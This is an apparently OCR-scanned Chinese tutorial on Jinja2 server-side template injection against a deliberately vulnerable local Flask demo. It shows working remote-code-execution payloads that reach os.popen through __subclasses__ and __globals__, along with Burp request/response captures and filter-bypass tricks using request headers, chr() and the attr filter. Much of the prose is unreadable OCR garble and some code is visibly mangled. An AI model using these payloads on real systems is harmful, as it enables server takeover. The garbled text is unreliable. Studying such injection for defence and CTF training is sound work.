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Flask Demo

from flask import Flask

from flask import request

from flask import config

from flask import render_template_string

app = Flask(__name__)
app.config["'SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/")

def hello_world():
return "Hello World!'

@app . route('/hello")

def say_hello(Q):
template = 'Hello {}'.format((request.args.get('name')))
return render_template_string(template)

if __name__ == "__main__
app.runChost="0.0.0.0", debug=True)

FULBMNEELENIRE, EEXTADEH, —MEEHE / , —MEHE /hello , EMFELEEANEHEMRAZhello, EhelloffHH, HEEAEXT—T



templateZT 2, EFEESHEF EurlfEi@Ename, ZFIAA T flaskirender_template_string /53583 7 HER ,
render_template_string2 &, HAIFRIZILAFBMAERZSTRNER FTEZEALS A,
TEZSIFlaskfISSTIZ AT, BAFEES T iEFlaskiiERS |2 R EEjinja, FAIMEENZE I MR EIRIE|injaE A XEUREEjinjall < FEBRHETEIN,

config

configF] LASREXEIflaskiVECBE R, ERBPBEER app.config BEE:

app.config['SECRET_KEY'] = "flag{SSTI_123456}"

LERTIEEY configBN AT SR EXElsecret_key:

< C A FR=£ | 0.0.0.0:500
ES5 BBS 5 online_Tools E5 SRC E5 @it BB 8AX# B FanmE B #%I0XE B WENNEE B WeBRE¥IE: B 4978 B FBR B CTFESENER Dockersi3 X/ Welcome to Sec

'SECRET_KI ag{SS 123456} RMANENT_SESSION_LIFETIME":

datetlmetlmedelta(days—31) USE X_ SENDFILE False SERVER NAME None, APPLICATION ROOT / SESSION COOKIE_| NAME 'session’, SESSI N_COOK AIN" False, IN_COOKIE_PATH': None,
'SESSION_COOKIE_HTTPONLY": True, 'SESSION_COOKIE_SECURE": False, 'SESSION_COOKIE_SAMESITE": None, 'SESSION_REFRESH_EACH_REQUEST": True, MAX CONTENT LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT"
datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS": None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME": 'http', 'JSON_AS_ASCII": True, 'JSON_SORT_KEYS":
True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE": 'application/json', 'TEMPLATES_AUTO_RELOAD': None, '"MAX_COOKIE_SIZE'": 4093}>

Jinja Learning
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JinjaBRAX I =15 IR

o {1}
o {%%}
o {tt#}

BB AR 8 RARIR 5] F

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<html lang="en">
<head>
<title>My Webpage</title>
</head>
<body>
<ul id="navigation">
{% for item in navigation %}
<li><a href="{{ item.href }}">{{ item.caption }}</a></1i>
{% endfor %}
</ul>

<h1>My Webpage</h1>
{{ a_variable }}

</body>
</html>

FELERX M FRENATUEIAMO BN, ({3 BTEEBEREANASR, Wl ({24} SHH8, () BERTHRT—Ei=fhiEattifor, if%F.
RE—1T7RAERAT LENRRXGPHIRERT, HEREREERT, ) BTERERXENAZT, ) DESNASTSEREFHEL, WT:

{# note: disabled template because we no longer use this
{% for user in users %}

{% endfor %}
#}

ZHIED & TiEeR & MWikiED



parser.py

EHIEDHANTXE:

_statement_keywords = frozenset(
L

"for"
nifn
"block",
"extends",
"print",
"macro",
"include",
"from",
"import",
"set",
"with",
"autoescape",

FEEEBRT, EHEOHRRASHNESES RSP, WM TEXRAE:

{% for user in users %}

{{usert?
{% endfor %}

filters.py
WIESRA T IXLE:
FILTERS = {
"abs": abs,

"attr": do_attr,

"batch": do_batch,
"capitalize": do_capitalize,
"center": do_center,
"count": len,

"d": do_default,

"default": do_default,
"dictsort": do_dictsort,
"e": escape,

"escape": escape,
"filesizeformat": do_filesizeformat,
"first": do_first,

"float": do_float,
"forceescape": do_forceescape,
"format": do_format,
"groupby": do_groupby,
"indent": do_indent,

"int": do_int,

"join": do_join,

"last": do_last,

"length": len,

"list": do_list,

"lower": do_lower,

"map": do_map,

nes oo

min": do_min,

"max": do_max,

"pprint": do_pprint,
"random": do_random,
"reject": do_reject,
"rejectattr": do_rejectattr,
"replace": do_replace,
"reverse": do_reverse,
"round": do_round,



"safe": do_mark_safe,
"select": do_select,
"selectattr": do_selectattr,
"slice": do_slice,

"sort": do_sort,

"string": soft_unicode,
"striptags": do_striptags,
"sum": do_sum,

"title": do_title,

"trim": do_trim,
"truncate": do_truncate,
"unique": do_unique,
"upper": do_upper,
"urlencode": do_urlencode,
"urlize": do_urlize,
"wordcount": do_wordcount,
"wordwrap": do_wordwrap,
"xmlattr": do_xmlattr,
"tojson": do_tojson,

EFEERBERT, WU |filter_name B9ANARIIERS, LEALATRED:
{{"whoami" | count}}
RAETNEENHEES, XREERRNBAMER T countidiEe:, ZHERINSER len FITEKE:
[ count™: e, |
FEIEFHATE AT AR E D R RAE RS

{%set a =[1,2,3]1join%}{{a}}

tests.py
MBI B M T LF:

TESTS = {
"odd": test_odd,
"even": test_even,
"divisibleby": test_divisibleby,
"defined": test_defined,
"undefined": test_undefined,
"none": test_none,
"boolean": test_boolean,
"false": test_false,
"true": test_true,
"integer": test_integer,
"float": test_float,
"lower": test_lower,
"upper": test_upper,
"string": test_string,
"mapping": test_mapping,
"number": test_number,
"sequence": test_sequence,
"iterable": test_iterable,
"callable": test_callable,
"sameas": test_sameas,
"escaped": test_escaped,
"in": test_in,

==": operator.eq,

"eq": operator.eq,

"equalto": operator.eq,

"1=": operator.ne,

ne": operator.ne,



>": operator.gt,

"gt": operator.gt,
"greaterthan": operator.gt,
"ge": operator.ge,

>=": operator.ge,

"<": operator.lt,

"1t": operator.lt,
"lessthan": operator.lt,

<=": operator.le,
"le": operator.le,

BEREZEIREPERANLIEY, MTFRE:

{% if loop.index is divisibleby 3 %}

BIRPHEZRES UARERE
AN B EEWE X Edefaults.pys:

DEFAULT_NAMESPACE = {
"range": range_type,
"dict": dict,
"lipsum": generate_lorem_ipsum,
"cycler": Cycler,
"joiner": Joiner,
"namespace": Namespace,

FlaskBEX TN ERTE:

rv.globals.update(
url_for=url_for,
get_flashed_messages=get_flashed_messages,
config=self.config,
# request, session and g are normally added with the
# context processor for efficiency reasons but for imported
# templates we also want the proxies in there.
request=request,
session=session,
9=g,

FIM&ELTUERNEREEMZE LEMENHE.

BELENES, BIIEZTBHYS TFlaskFiERS | Z-JinjalEEE S,

Example

FERHIEGT, BOANER set BORENEE:

{%set username = "admin'%}{{username}}
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& cC A AZZ£ | 0.0.0.0:5000/hello?name={%set%20username%20=%20%27admin%27%}{{username}}

B35 BBs [3 Online_Tools EJ SRC B35 HKlB&Eit B BEAXE B THENHE B #2I0XE 5 WEINEE 5 WeBka®sEs

Hello admin

&3 & $TED

HEEFNETH, HAIRIDMER for RH#TMEIR, EA print ITENEHNAS:
{%for i in range(1,10)%}{%print i%}{%endfor%}
EIE, HAERIMER {{3} RABprint#fThiL:

{%for i in range(1,10)%}{%print i%}{%endfor%}

L

EEHEDP, FAVERTINER if HITHRMEH:

{%1if 1==1%3}{{"success"}}{%endif%}

TEHERAT —EERANGF, FEARUETUEEGNSIXY, HEREEFERLEAHEFNNANERA (THiEG. diEs. MiliEa) , XEERENE
S#E=AZEl (1 hour) .
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o IR[E—EFTEEMARIZE
e _ mro__
o JR[E—EFRUFAITE X
e _ dict__
o REIHFIXRMNERI. £REE. BHSE.
e  init__
o FMBXRHAR __init_ 7&K, EFFIBMRENBMRIEE __globals__
e _ globals__
o function.__globals__, AT 3REXfunctionFi&t=[8 Fe[{EAMImodule, FEMUKFIBEEE.,
e _ builtins__

o FKEWPython B A5 ikLLMlord, chri,
—REBYAEObject, FTARLHMAARENFIObject,
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e _ getattribute__
o FRENEDEMEM

TR A R X

e dir
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Demo

LEETRA-EERNERA, TEHEMN—TTRFHEROMNERIE~

class A:
def __init__(self):
pass
class BCA):
def __init__(self):
pass
if __name__ == '__main__":
b = BO
print(b.__class__)
print(b.__class__ == B)

print(B.__base__)
print(B.__mro__)

ik

[flask] python3 test.py

<class '__main__.B'>
True
<class '__main__.A">

(<class '__main__.B'>, <class '__main__.A'>, <class 'object'>)

ARFGEETEBR-THTASHAHRIEANS, TESHEER.

FEMOABHRERETHNE, —MEA—TEB, TENRABHEREET —TBNR, LRKEITENHE _class_ B, ARIKNENRANMAIE,
BINHFIM b.__class_ BEFTBE, fTMthTrue. BZITITENHBARAARIZ, TEIHA, RE—THITENHBRM RS, FTEDHB. Al Object,
LEERESSTIZFHNEMAIRERTFTT, ETRMBER—TSSTIRAMABNELRRRET .

Exploit

TELEF A, SSTIMMUE—RRE: IREVE N E->IREREIEEObject—>3REVHETHE FE-—>@iTIREY __globals__ EIREX os . file HEMBEMITH S oriEX
XA4#Imodule,

THERSGET B, ZEEMETHENAITILARES, EREAN LE#RNDemo,
o BEEIRER—T
o PythonFBEAMENR, MNUFRFEH. IR, FHE, BENR, BARNR, MEETERCIEN, HNAIMNER ''._class__ FREEE—T

Hello <class 'list'>

%,

o JREREIEZObject

o Pythons I A LM AU AT ELObject, BATAILABEE __base_ B __mro__ BIANIREXEIObjectsE, WAL L E#Ipayloadifi2



Hello <class 'object'>

.__class__.__base__ ,
o SRENHFIB FE£
o HTFObjectREFRARMEL, FRAKANTET _ subclasses_ () FATLASRERBIMBAIFRE FE (FREZXE) , WML EEMpayloadfi2

.__class__.__mro__.subclass()

Hello [<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'Nc
'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_|
'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <cl
<class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'g
<class 'method—wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'in:
<class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'E
‘formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <c
<class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_i
'_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.Builtinlmporter'>, <class 'classmethod'>, <class '_frozen_importlib.Frozenin
'_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.Winc
'_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._M
'_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._ByteslOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <c
<class 'zipimport.zipimporter'>, <class 'zipimport._ZiplmportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <cl
'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.
'collections.abc.lterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>,
'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltin
'_sitebuiltins._Helper'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <clas
'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <cl
<class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itert
'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._|
‘functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'types.DynamicClassAttribute”:
'‘enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenize
‘tokenize.Untokenizer'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'markupsafe._Markup
<class 'warnings.catch_warnings'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class '_weakrefset._lterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock"
‘threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread">, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_Izn
'_lzma.LZMADecompressor'>, <class '_sha512.sha384'>, <class '_sha512.sha512'>, <class '_random.Random'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'tempfile
‘tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class '_hashlib.HASH'>, <
<class '_sha3.sha3_224'>, <class '_sha3.sha3_256'>, <class '_sha3.sha3_384'>, <class '_sha3.sha3_512'>, <class '_sha3.shake_128'>, <class '_sha3.shake_256'>, <class 'Struct'>, <clas
<class '_pickle.Pickler'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class
'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoc
'json.encoder.JSONEncoder'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>,

o fuzz EEM—PEPNEBRTERFFos, NeHFHEBRITHSUE LIRS,
payload:

{{%27%27.__class__.__base__.__subclasses__()[442].__init__.__globals__["'os']}}

E##fuzz442 XM E5F, MsubclassesEME—1R3IMUNE, EEMMNIRANSNEREZSFE os BIR, FEPython3IFF FaESfuzzHiFZ, M TE
P



[ N ) Intruder attack 5
J Results TTarget T Positions T Payloads TOptions ]

| Filter: Showing all items |®
Request | Payload | Status | Error | Timeout | Length  ¥| Comment
= e oo — e —
373 373 200 a g 272 E
374 374 200 @] )] 272
375 375 200 @] )] 272
376 376 200 (@] )] 272
399 399 200 =) Q 2 )
402 402 200 @] )] 272
407 407 200 @] )] 272
408 408 200 (@] )] 272
409 409 200 @] ()] 272
439 439 200 @] )] 272
440 440 200 @] )] 272
441 441 200 @] )] 272
442 442 200 = g 272 3
A42 A2 200 | . 272 M

J Raw T Headers T Hex T Render ]

1 HTTP/1.0 200 OK A
2 Content-Type: text/html; charset=utf-8 3
3 Content-Length: 118

4 Server: Werkzeug/1.0.1 Python/3.8.0
5 Date: Thu, 24 Sep 2020 02:18:45 GMT
6
7

Hello &lt;module &#39;0s&#39; from &#39;/Library/Frameworks/Python.framework/Versions/3.8/1ib/python3.8/os.py&#39;§

4
v
[« s, TS
@@ Search... 0 matches Pretty

FiNiS N

MEEEA—T, EENTH<ER:



i @ @® Burp Suite Professional v2020.8 - Temporary Project - licensed to google

[ Dashboard TTarget T Proxy T Intruder TRepeater T Sequencer T Decoder T Comparer T Extender T Project options T User options TAuthz T Knife T Burp)SLinkFinder T Logger++ ]

1 x[5x]6x|7x]|8x [Qux..

Send Cancel Sl

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex Render]

Target: http://0.0.0.0:5000 7 (2)

1 GET /hello?name= A 1 HTTP/1.0 200 OK A
{{%27%27.__class__.__base__.__subclasses__ ()[442].__init__.__globals_ ['ofF 2 Content-Type: text/html; charset=utf-8 r
s'].popen("id").read()}} HTTP/1.1 3 Content-Length: 379

2 Host: 0.0.0.0:5000 4 server: Werkzeug/1.0.1 Python/3.8.0

3 Pragma: no-cache 5 Date: Thu, 24 Sep 2020 02:21:14 GMT

4 Cache-Control: no-cache 6

5 Upgrade-Insecure-Requests: 1 7 Hello uid=501(plg3) gid=20(staff) groups=20(staff),12(everyone),61l(localal

6 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_5) 8
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36

7 Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/avif, image/we
bp,image/apng, */*;q=0.8,application/signed-exchange;v=b3;g=0.9

8 Accept-Encoding: gzip, deflate

9 Accept-Language: zh-CN,zh;g=0.9,en;g=0.8

10 Connection: close
11
12
=
- v
v <\ J T
®{§}J €« || = | |Search... 0 matches \n Pretty ®{§} €« || = | |Search... 0 matches \n [ Pretty
Done 533 bytes | 55 millis
~
3]
N = s N =9 /= i A ey \ =R~ =+ - 4= A
BARRFEL LEMANAR, BITRHATBNAAXSSTIRGE, EX: HTH<.
— b4y 2}:55'] H
=27E1\_-|_..ﬂl:c.\ JTrick
= = .
T HERETENpayloadili F:
{{"".__class__.__base__.__subclasses__()[442].__init__.__globals__['os'].popen("id").read()}}

TERE T ttpayloadiF MEFHT L R I8 T W5

dIEE3|S

ETROARIEIIEZE, FHEEERNEMERRTH55?




LM, HNERLZEIRSSKAFASEERRME, FASEIRSISHKEESH, BANTRTXMLRHE?
BT FrRFBEER AR

BIER T, PythonB¥IEISR, FRUABATR] AREMISE AR

[1.__class__
Q.__class__
{}.__class__

B, FAEAAMERFlaskiRiR P25 P IAERRZE 25 R ERIRERSE

request.__class__
url_for.__class__
g.__class__
session.__class__
config.__class__

B BAMERjinjadhBIANE BRERIRIME, ANEEEEREE, BAFERMNER

dict

range
lipsum.__class__
joiner

cycler

namespace

BB, jinja2 G AFENZEENHN jinja2.runtime.Undefined , FRIAFRATERI A AN T A 0IRENE:

TEENEZER.__class__

MEAITERBS| SEBRSE

R3S

BRT RS SEUKRTFREI, EPythonF RS SEFMANURTFRE, XNERER, BMAIGFT .
request

FlaskiZRFAE T — T &R/ Rrequest, MRRABNIERNETX, BidrequestiREANTFTLEREEIAFEKRIESR, LB EHER UFIArequestid k4
T%%l"? Il\.‘.\o

{EF request.accept_encodings HJIAIREXIERheaderdAccept-Encodingfd{B, {£M request.accept_languages ] AFRERiERheaderdAccept-
Languagehy1E,

F A LEEXA S AT ABypassf MR 5| S

{{[].__class__.__base__.__subclasses__()[442].__init__.__globals__[request.accept_languages[@][0@]].popen(request.accept_encodings[@][
0]).read(O}}

GET /hello?name={{"' lass__.__be . ¢

[ | (PO 1 S 1‘tww\ [request.accept_languages .popen(request.accept_encodings[0]
[0]).read()}} HTTP/

Host: 5

Pragma: no-cache

Cache-Control: no-cache

ade-Insecure-Requests:
User-Agent: Mozilla/ (Macintosh; Intel Mac 0S X ) AppleWebKit/ (KHTML, like Gecko)
Chrome/ Safari/
Accept-Encoding: id
Accept-Language: os
Connection: close




Burp Suite Professional v2020.8 - Temporary Project - licensed to google

[ Dashboard TTarget T Proxy Tlntruder TRepeater T Sequencer TDecoder TComparer T Extender T Project options TUser options TAuthz TKnife TBuerSLinkFinder T Logger++ ]

1x]sxJex]7x[8x]9xJ10x]11x]12 x [aag] . |

Send Cancel <|+ >|v

Target: http://0.0.0.0:5000 7 (2)

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex Render]

1 GET /hello?name= A 1 HTTP/1.0 200 OK A
{{[1.__class__._base_ ._ subclasses_ ()[442].__init__ ._globals__ [reques [’ 2 Content-Type: text/html; charset=utf-8 r
t.accept_languages[0][0]].popen(request.accept_encodings[0][0]).read()}} 3 Content-Length: 379
HTTP/1.1 4 server: Werkzeug/1.0.1 Python/3.8.0

2 Host: 0.0.0.0:5000 5 Date: Thu, 24 Sep 2020 02:59:27 GMT

3 Pragma: no-cache 6

4 Cache-Control: no-cache 7 Hello uid=501(plg3) gid=20(staff) groups=20(staff),12(everyone),61l(locala

5 Upgrade-Insecure-Requests: 1 8

6 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_5)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36

7 Accept-Encoding: id

8 Accept-Language: oOs

9 Connection: close

10
11
-
- v
v

@@ @ @ Search...

Done

requestiY R B H LT UFBNSE, RBEENT T

accept_mimetypes ==> Header Accept
args ==> url arg

form ==> post data
host ==> header host
origin

EERSZAUEABNEG, FHEAREELZE~

chr

chr@2PythontINE R, BT iFascilBERNFRH, XBERERNATUERchrRg, EBHF,

>>> chr(97)
'a

ATEMRRY, HAEFTHBEUzZEIchriR#:

0 matches \n Pretty

<R )
@@ EJ EJ Search...

B IRRPEFN KR!

T
0 matches ( \n Pretty

533 bytes | 17 millis

{{O.__class__.__bases__[0].__subclasses__()[808].__init__.__globals__.__builtins__.chr}}



LEffuzzREH, BERfuzzffNEPESE _builtins_ B, XTEMFIMIREREIPythontIRERE, ZEMAERIEIIRPIREEIchriE:

® @® Intruder attack 7
J Results TTarget T Positions T Payloads TOptions ]

| Filter: Showing all items |®
Request | Payload | Status | Error | Timeout | Length ¥ | Comment
83 83 200 ™= =] 188 [X]
94 94 200 O [J 188 r
95 95 200 O g 188
96 96 200 O [J 188
98 98 200 d (J 188 )
104 104 200 O [J 188
105 105 200 O g 188
107 107 200 O [J 188
108 108 200 U @) 188
109 109 200 dJ (] 188
110 110 200 O g 188
132 132 200 O [J 188
133 133 200 O g 188
134 134 200 @) O 188 E

J Raw T Headers T Hex T Render ]

1 HTTP/1.0 200 OK A
2 Content-Type: text/html; charset=utf-8
3 Content-Length: 35
4 server: Werkzeug/1.0.1 Python/3.8.0
5 Date: Thu, 24 Sep 2020 03:24:20 GMT
6
7 Hello &lt;built-in function chr&gt;

v
@@ €« || = | |Search... 0 matches \n ‘ Pretty
Finished [ 1

fuzz— T ARIIBRSEHGchrifisl, FETEFR {5 MsetHAFIRETE:

{%+set+chr=().__class__.__bases__[0].__subclasses__()[109].__init__.__globals__.__builtins__.chr%}{

ERCIBIRE T chrEZ 8RN chr/iiE, PythonSEMIESARIMNE, REZERUESIAN, ERNRXMFEENZ I MER LRIRIE, T Apayload$3EFERM
e

ZEF A A F R B Hchr T

GET /hello?name={%+set+chr=().

[0].__subclas

init__.__globals__. uilti :V' {{chr( )}} HTTP/

no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests:
User-Agent: Mozilla/ (Macintosh; Intel Mac 0S X ) AppleWebKit/ (KHTML, like Gecko)
Chrome/ Safari/
Accept:
text/html,application/xhtml+xml,application/xml;qg= , lmage/avif, image/webp, image/apng,*/*;q= ,applic
ation/signed-exchange;v=b3;q=
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;g= ,en;q=
Connection: close

T



@ @® Burp Suite Professional v2020.8 - Temporary Project - licensed to google
[ Dashboard TTarget T Proxy T Intruder TRepeater T Sequencer T Decoder T Comparer T Extender T Project options T User options TAuthz T Knife T Burp)SLinkFinder T Logger++ ]

15 < J6 7 x]8x]9xJ10x]11~]12~]13~]24x]..)
Send Cancel < v Target: http://0.0.0.0:5000 7 (2)

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex Render]

1 GET /hello?name= A 1 HTTP/1.0 200 OK A
{%+set+chr=().__class__._bases_ [0]._ subclasses_ ()[109]._ init_ . _glo[ 2 Content-Type: text/html; charset=utf-8 r
bals__ ._ builtins__ .chr%}{{chr(97)}} HTTP/1.1 3 Content-Length: 7

2 Host: 0.0.0.0:5000 4 server: Werkzeug/1.0.1 Python/3.8.0

3 Pragma: no-cache 5 Date: Thu, 24 Sep 2020 03:27:55 GMT

4 Cache-Control: no-cache 6

5 Upgrade-Insecure-Requests: 1 7 Hello a

6 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_5)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36

7 Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/avif, image/we
bp,image/apng, */*;q=0.8,application/signed-exchange;v=b3;g=0.9

8 Accept-Encoding: gzip, deflate

9 Accept-Language: zh-CN,zh;g=0.9,en;g=0.8

10 Connection: close
11
12
[ [
v v
®{§}‘ &J QJ Search... 0 matches | \n Pretty ®{§} &J QJ Search... 0 matches | \n | | Pretty

Done 159 bytes | 3 millis

N, :}g =
TiERS

F*EE L XHpayload B ML S ERE T RS

THERY, RSEARFRE, ELEMpayloadhHENERRSKRIEY, BRBES.

fjinjad, HATEAIMERFESHNANBERGE, ENXE:

{{""["_—class__"1}}



@® ® Burp Suite Professional v2020.8 - Temporary Project - licensed to google

[ Dashboard TTarget T Proxy Tlntruder TRepeater T Sequencer TDecoder TComparer T Extender T Project options TUser options TAuthz TKnife TBuerSLinkFinder T Logger++ ]

15 < J6 7 x]8x]9xJ10x]11~]12~]13~]24x]..)

Send Cancel <|+ >|v

Request

Raw | Params | Headers | Hex

Target: http://0.0.0.0:5000 @

Response

Raw | Headers | Hex Render]

GET /hello?name={{''["__class__ "]}} HTTP/1.1

Host: 0.0.0.0:5000

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_5)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
7 Accept:

AU WN

text/html,application/xhtml+xml,application/xml;g=0.9,image/avif,image/we

bp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

8 Accept-Encoding: gzip, deflate

9 Accept-Language: zh-CN,zh;g=0.9,en;g=0.8
10 Connection: close

11

12

@@@@ Search... 0 matches @ Pretty

Done

disas

TR DMERT IR RN S IRBE M- IE:

{{""lattr("__class__")}}

V>

=
v

HTTP/1.0 200 OK

Content-Type: text/html; charset=utf-8
Content-Length: 33

Server: Werkzeug/1.0.1 Python/3.8.0
Date: Thu, 24 Sep 2020 04:33:59 GMT

T

NoU e wWN

Hello &lt;class &#39;str&#39;&gt;

=

v
@@ EJ EJ Search... 0 matches \n | | Pretty

186 bytes | 2 millis



® Burp Suite Professional v2020.8 - Temporary Project - licensed to google

[ Dashboard TTarget T Proxy Tlntruder TRepeater T Sequencer TDecoder TComparer T Extender T Project options TUser options TAuthz TKnife TBuerSLinkFinder T Logger++ ]

15 < J6 7 x]8x]9xJ10x]11~]12~]13~]24x]..)

Send Cancel <|+ >|v

Request

Raw | Params | Headers | Hex

Target: http://0.0.0.0:5000 @

Response

Raw | Headers | Hex Render]

AU WN

© ©

10
11

GET /hello?name={{''|attr("__class__ ")}} HTTP/1.1

Host: 0.0.0.0:5000

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_5)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,image/avif,image/we
bp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9,en;g=0.8

Connection: close

12

@@@@ Search... 0 matches @ Pretty

Do

.

ne

HiTRa308XN4A:

V>

=
v

HTTP/1.0 200 OK

Content-Type: text/html; charset=utf-8
Content-Length: 33

Server: Werkzeug/1.0.1 Python/3.8.0
Date: Thu, 24 Sep 2020 04:35:19 GMT

T

NoU e wWN

Hello &lt;class &#39;str&#39;&gt;

=

v
@@ EJ EJ Search... 0 matches \n | | Pretty

186 bytes | 2 millis




@environmentfilter
do_attr(environment, obj, name):

tattr(obj, name)

environment.sandboxed environment.is_safe_attribute(
obj, name, value

environment.unsafe_undefined(obj, name)
value
environment.undefined( =obj =name)

BT AR RER D A FDER AT AR AL R 235 2 R IRENB 11

TIEPES

EE2FNIN—#, HEpayloadhBMLEMS MR T FIES:

AER, ERTESTIEMENRIIRPNRS I NEFRTGERIE.
SIRKE

BATAIAEPYthonfh B BIIRBH AT MR BN A E:

>>> dir(list)

['__add__", '"__class__", '__contains__', '__delattr__", '__delitem__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__get
attribute__', '__getitem__', '__gt__', '__hash__', '__iadd__', '__imul__', '__init__', '__init_subclass__"', '__iter__', '__le__", '__
